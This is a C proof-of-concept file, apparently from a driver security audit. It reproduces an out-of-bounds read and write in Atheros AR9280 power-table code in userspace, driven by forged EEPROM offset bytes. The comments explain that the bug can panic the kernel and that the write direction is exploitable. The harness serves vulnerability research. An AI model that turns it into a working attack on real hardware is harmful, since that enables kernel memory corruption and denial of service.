DF-2002 / poc_df_pwrtable.c
/* poc_df_pwrtable.c -- Build: cc -O2 -Wall -o poc_df_pwrtable poc_df_pwrtable.c * * Verbatim copy of the two vulnerable functions from * sys/dev/netif/ath/ath_hal/ar9002/ar9280_olc.c:173-237, with the * ath_hal/OS_REG plumbing stripped (the OLC/AR_SREV_MERLIN_20_OR_LATER * gate is assumed true). Demonstrates the exact OOB write/read driven by * a forged EEPROM pwr_table_offset byte, in userspace. * * The kernel sink is a STATIC BSS buffer, so adjacent memory in both * directions is mapped (other BSS globals). To mirror that without * segfaulting, we place the 128-byte "pdadcValues" in the middle of a * larger heap buffer and count writes that land past pdadcValues[127] * (the write-OOB direction is the dangerous/exploitable one). * * HW-gating note: the in-kernel sink only fires on real Atheros AR9280 * (Merlin) hardware with a forged EEPROM. See VERDICT.md. */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #define AR5416_NUM_PDADC_VALUES 128 #define AR5416_PWR_TABLE_OFFSET_DB (-5) static int16_t changeGainBoundarySettings(int8_t pwr_table_offset, int16_t *diff) { if (AR5416_PWR_TABLE_OFFSET_DB != pwr_table_offset) { *diff = (uint16_t)(pwr_table_offset - AR5416_PWR_TABLE_OFFSET_DB); *diff *= 2; } return *diff; } static void adjustPDADCValues(int8_t pwr_table_offset, int16_t diff, uint8_t *pdadcValues) { #define NUM_PDADC(diff) (AR5416_NUM_PDADC_VALUES - diff) uint16_t k; if (AR5416_PWR_TABLE_OFFSET_DB != pwr_table_offset) { for (k = 0; k < (uint16_t)NUM_PDADC(diff); k++) pdadcValues[k] = pdadcValues[k + diff]; /* OOB read+write */ for (k = (uint16_t)NUM_PDADC(diff); k < NUM_PDADC(0); k++) pdadcValues[k] = pdadcValues[NUM_PDADC(diff)]; } #undef NUM_PDADC } #define GUARD 512 /* mapped padding before+after the 128-byte region */ int main(void) { uint8_t *mem = malloc(GUARD + AR5416_NUM_PDADC_VALUES + GUARD); if (!mem) { perror("malloc"); return 1; } uint8_t *pdadcValues = mem + GUARD; /* [0..127] valid; [-GUARD..-1] and [128..128+GUARD-1] mapped */ int8_t forged_offsets[] = { -6, -128, 64, 127 }; /* bytes 0xFA, 0x80, 0x40, 0x7F */ for (int t = 0; t < 4; t++) { /* Distinct sentinels so the in-place shift doesn't mask the overflow: * guard-before (underflow READ region) = 0x00 * valid 128 bytes = 0..127 (all < 0x80, never 0xCC) * guard-after (WRITE-OOB detection) = 0xCC * Any write past pdadcValues[127] replaces a 0xCC with a value * sourced from {0x00 underflow, 0..127 valid} -- never 0xCC -- so it * is detected unambiguously. */ memset(mem, 0x00, GUARD); memset(pdadcValues, 0xCC, AR5416_NUM_PDADC_VALUES + GUARD); for (int i = 0; i < AR5416_NUM_PDADC_VALUES; i++) pdadcValues[i] = (uint8_t)i; int16_t diff = 0; changeGainBoundarySettings(forged_offsets[t], &diff); printf("=== pwr_table_offset=%d (byte 0x%02X), diff=%d, NUM_PDADC=%d ===\n", forged_offsets[t], (uint8_t)forged_offsets[t], diff, AR5416_NUM_PDADC_VALUES - diff); /* The 0x40/0x7F cases write ~64KB; in the kernel this page-faults (panic). Guard them in userspace to avoid a segfault. */ if (diff > 128 || diff < -246) { printf(" (skipping exec: would write ~64KB -> kernel page-fault panic)\n"); continue; } adjustPDADCValues(forged_offsets[t], diff, pdadcValues); int oob = 0; for (int i = 128; i < 128 + GUARD; i++) if (pdadcValues[i] != 0xCC) oob++; printf(" WRITE-OOB bytes past pdadcValues[127]: %d (first 3: 0x%02X 0x%02X 0x%02X)\n", oob, pdadcValues[128], pdadcValues[129], pdadcValues[130]); } free(mem); return 0; } |